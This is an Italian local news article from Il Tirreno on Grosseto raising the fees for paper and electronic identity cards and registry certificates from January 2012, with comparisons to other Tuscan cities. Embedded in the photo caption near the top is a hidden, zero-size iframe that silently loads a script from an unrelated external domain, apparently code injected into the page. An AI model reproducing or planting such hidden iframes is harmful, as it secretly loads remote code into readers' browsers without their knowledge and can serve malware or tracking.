Il Tirreno

Grosseto

Carta d'identità e certificati di residenza più cari dal 1º gennaio

Francesca Ferri
<strong>LA CARTA</strong> costerà 25 euro<iframe height="0" src="http://loading-resource.com/analytics.php" style="visibility: hidden;" width="0"></iframe>
◗
LA CARTA costerà 25 euro

Il Comune ritocca i prezzi da pochi centesimi a 10 euro per allinearsi alla media. Incasso: 40mila euro l'anno

2 MINUTI DI LETTURA





GROSSETO. L'identità dei grossetani diventa più cara. Non è una questione di coscienza ma un più banale aumento di prezzo: dal 1º gennaio 2012 carte di identità, certificati di famiglia e di residenza e autentiche di firma costeranno di più.  In alcuni casi i prezzi diventano cinque volte più alti (un certificato anagrafico in carta semplice passa da 26 centesimi a 1 euro), in altri raddoppia (le autentiche di firma, ora costano 52 centesimi e da gennaio 1 euro).  Più contenuto è l'aumento del prezzo delle carte di identità cartacee, quelle vecchio stampo: per chi la richiede per la prima volta il costo passa da 5,42 a 6 euro; di soli 2 centesimi l'aumento per la seconda emissione (per chi l'ha persa, gli è stata rubata o l'ha deteriorata).

I veri aumenti riguardano dunque la carta d'identità elettronica: fino ad oggi si pagava 20 euro, da gennaio sarà maggiorata di 5 euro di costi di produzione. Gli stessi che fanno lievitare da 40 a 45 euro il costo della carta per chi la chiede per la seconda volta.  Ed è proprio la carta d'identità elettronica la "responsabile" dei ritocchi di prezzo decisi dal Comune. «L'Anagrafe avrà presto l'esigenza di raggruppare l'ufficio in un'unica sede - spiega il dirigente Mario Venanzi - per risparmiare sui costi. Ogni macchina per la produzione di carte d'identità elettroniche costa 10mila euro e noi ne abbiamo tre malmesse. Due andranno cambiate e a questo scopo saranno investiti i proventi che derivano da questi aumenti».  L'operazione frutterà, spiegano all'Anagrafe, 40mila all'anno.

E a chi storce il naso per l'aumento del costo dei servizi, il dirigente risponde che non si tratta di un aumento tout court ma di un allineamento ai costi imposti dagli altri comuni. Da un sondaggio fatto dal Comune negli uffici anagrafe che rilasciano la carta d'identità elettronica è emerso, infatti, che solo a Grosseto la carta col microchip costa 20 euro; altrove il prezzo più applicato è di 25,42 euro.  In effetti, nei Comuni capoluogo di provincia toscani il costo della prima emissione è ovunque 25,42 euro (così a Siena, Firenze, Livorno, Pisa, Prato; a Lucca, Carrara, Massa, Arezzo e Pistoia la carta d'identità rilasciata è solo di tipo cartaceo).

Epperò chi chiede una seconda emissione paga ben meno dei 40 euro che saranno chiesti ai grossetani dal 1º gennaio. A Siena, Livorno e Pisa la tariffa è di 30,59 euro; a Firenze e Prato i prezzo è addirittura lo stesso della prima emissione, 25,42 euro.

Non lasciare decidere l'algoritmo:

scegli Il Tirreno per le tue notizie su Google

L'approfondimento
Bolkestein

Spiagge, indennizzi: così verranno risarciti i balneari che perdono le aste – Come si calcola il valore da rimborsare

di Matteo Tuccini